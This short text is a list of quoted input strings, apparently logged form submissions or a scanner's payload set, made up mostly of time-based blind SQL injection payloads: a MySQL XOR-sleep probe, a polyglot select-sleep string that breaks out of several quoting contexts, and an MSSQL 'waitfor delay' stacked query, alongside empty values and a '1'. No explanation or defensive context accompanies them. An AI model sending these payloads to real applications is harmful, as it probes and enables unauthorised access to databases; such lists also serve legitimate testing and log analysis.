“0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z” 

“” 

“” 

“(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/” 

“1” 

“” 

“-1; waitfor delay '0:0:15' -- ” 

“”